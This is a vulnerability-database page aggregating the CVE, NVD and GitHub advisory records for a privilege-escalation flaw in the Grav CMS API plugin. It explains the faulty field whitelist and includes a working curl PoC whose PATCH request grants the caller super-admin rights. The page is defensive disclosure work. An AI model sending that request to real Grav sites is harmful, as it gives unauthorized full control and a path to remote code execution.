Vulnerability-Lookup

CVE-2026-42843 (GCVE-0-2026-42843)

Vulnerability from cvelistv5 – Published: 2026-05-11 15:54 – Updated: 2026-05-11 19:06

Title

grav-plugin-api: Grav API Privilege Escalation to Super Admin

Summary

Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/getgrav/grav/security/advisori…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
getgrav	grav-plugin-api	Affected: < 1.0.0-beta.15

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42843",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T18:51:01.009552Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-11T19:06:51.035Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "grav-plugin-api",
          "vendor": "getgrav",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.0.0-beta.15"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site\u0027s content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T15:54:33.485Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
        }
      ],
      "source": {
        "advisory": "GHSA-r945-h4vm-h736",
        "discovery": "UNKNOWN"
      },
      "title": "grav-plugin-api: Grav API Privilege Escalation to Super Admin"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42843",
    "datePublished": "2026-05-11T15:54:33.485Z",
    "dateReserved": "2026-04-30T16:44:48.376Z",
    "dateUpdated": "2026-05-11T19:06:51.035Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-42843",
      "date": "2026-05-24",
      "epss": "0.00044",
      "percentile": "0.13526"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-42843\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-11T17:16:34.013\",\"lastModified\":\"2026-05-13T16:04:12.830\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site\u0027s content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-863\"}]}],\"references\":[{\"url\":\"https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"cna\": {\"title\": \"grav-plugin-api: Grav API Privilege Escalation to Super Admin\", \"problemTypes\": [{\"descriptions\": [{\"cweId\": \"CWE-863\", \"lang\": \"en\", \"description\": \"CWE-863: Incorrect Authorization\", \"type\": \"CWE\"}]}], \"metrics\": [{\"cvssV3_1\": {\"attackComplexity\": \"LOW\", \"attackVector\": \"NETWORK\", \"availabilityImpact\": \"HIGH\", \"baseScore\": 8.8, \"baseSeverity\": \"HIGH\", \"confidentialityImpact\": \"HIGH\", \"integrityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"scope\": \"UNCHANGED\", \"userInteraction\": \"NONE\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"version\": \"3.1\"}}], \"references\": [{\"name\": \"https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736\", \"tags\": [\"x_refsource_CONFIRM\"], \"url\": \"https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736\"}], \"affected\": [{\"vendor\": \"getgrav\", \"product\": \"grav-plugin-api\", \"versions\": [{\"version\": \"\u003c 1.0.0-beta.15\", \"status\": \"affected\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-11T15:54:33.485Z\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site\u0027s content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.\"}], \"source\": {\"advisory\": \"GHSA-r945-h4vm-h736\", \"discovery\": \"UNKNOWN\"}}, \"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42843\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-11T18:51:01.009552Z\"}}}], \"references\": [{\"url\": \"https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-11T18:51:16.359Z\"}}]}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-42843\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"state\": \"PUBLISHED\", \"assignerShortName\": \"GitHub_M\", \"dateReserved\": \"2026-04-30T16:44:48.376Z\", \"datePublished\": \"2026-05-11T15:54:33.485Z\", \"dateUpdated\": \"2026-05-11T19:06:51.035Z\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-42843

Vulnerability from fkie_nvd - Published: 2026-05-11 17:16 - Updated: 2026-05-13 16:04

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site\u0027s content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15."
    }
  ],
  "id": "CVE-2026-42843",
  "lastModified": "2026-05-13T16:04:12.830",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-11T17:16:34.013",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-R945-H4VM-H736

Vulnerability from github – Published: 2026-05-05 21:20 – Updated: 2026-05-13 14:04

Summary

Grav API Privilege Escalation to Super Admin

Details

Summary

An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.

Details

The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.

The API allows users to update their own profiles if they possess the basic api.access permission:

// UsersController.php -> update()
$isSelf = $currentUser->username === $username;
if (!$isSelf) {
    $this->requirePermission($request, 'api.users.write');
} else {
    // Self-edit only requires api.access
    $this->requirePermission($request, 'api.access');
}

However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:

// Partial update - only update provided fields
$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];
foreach ($allowedFields as $field) {
    if (array_key_exists($field, $body)) {
        $user->set($field, $body[$field]);
    }
}

Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.

PoC

Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.
Obtain JWT: Authenticate to the API to obtain your access_token:

bash curl -X POST http://<target>/api/v1/auth/token \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"your_password"}'

Exploit: Send a PATCH request to the user update endpoint.

bash curl -X PATCH http://<target>/api/v1/users/user1 \ -H "X-API-Token: <your_access_token>" \ -H "Content-Type: application/json" \ -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"

Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.

Impact

This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav-plugin-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-beta.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:20:03Z",
    "nvd_published_at": "2026-05-11T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE.\n\n### Details\n\nThe vulnerability is located in `user/plugins/api/classes/Api/Controllers/UsersController.php` within the `update` method.\n\nThe API allows users to update their own profiles if they possess the basic `api.access` permission:\n\n```php\n// UsersController.php -\u003e update()\n$isSelf = $currentUser-\u003eusername === $username;\nif (!$isSelf) {\n    $this-\u003erequirePermission($request, \u0027api.users.write\u0027);\n} else {\n    // Self-edit only requires api.access\n    $this-\u003erequirePermission($request, \u0027api.access\u0027);\n}\n```\n\nHowever, when filtering the fields that are allowed to be updated via a `PATCH` request, the `access` field (which defines the user\u0027s role and permissions) is indiscriminately included in the `$allowedFields` whitelist for all users:\n\n```php\n// Partial update - only update provided fields\n$allowedFields = [\u0027email\u0027, \u0027fullname\u0027, \u0027title\u0027, \u0027state\u0027, \u0027language\u0027, \u0027content_editor\u0027, \u0027access\u0027, \u0027twofa_enabled\u0027];\nforeach ($allowedFields as $field) {\n    if (array_key_exists($field, $body)) {\n        $user-\u003eset($field, $body[$field]);\n    }\n}\n```\n\nBecause there is no secondary check to verify if the user attempting to modify the `access` field is already an administrator, any low-privileged user can overwrite their own `access` object with a malicious payload granting themselves `super: true`.\n\n### PoC\n\n1. **Prerequisites**: You need a low-privileged user account (eg. `user1`) that possesses the basic `api.access` permission.\n\n2. **Obtain JWT**: Authenticate to the API to obtain your `access_token`:\n\n   ```bash\n   curl -X POST http://\u003ctarget\u003e/api/v1/auth/token \\\n     -H \"Content-Type: application/json\" \\\n     -d \u0027{\"username\":\"user1\",\"password\":\"your_password\"}\u0027\n   ```\n\n3. **Exploit**: Send a `PATCH` request to the user update endpoint. \n\n   ```bash\n   curl -X PATCH http://\u003ctarget\u003e/api/v1/users/user1 \\\n     -H \"X-API-Token: \u003cyour_access_token\u003e\" \\\n     -H \"Content-Type: application/json\" \\\n     -d \"{\\\"access\\\":{\\\"admin\\\":{\\\"login\\\":true,\\\"super\\\":true},\\\"api\\\":{\\\"access\\\":true,\\\"super\\\":true},\\\"site\\\":{\\\"login\\\":true}}}\"\n   ```\n\n4. **Verification**: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.\n\n### Impact\n\nThis is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.",
  "id": "GHSA-r945-h4vm-h736",
  "modified": "2026-05-13T14:04:22Z",
  "published": "2026-05-05T21:20:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-api/commit/26f529c7d438c73343e82311fb095caeaf1a6116"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav API Privilege Escalation to Super Admin"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-42843 (GCVE-0-2026-42843)

FKIE_CVE-2026-42843

GHSA-R945-H4VM-H736

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature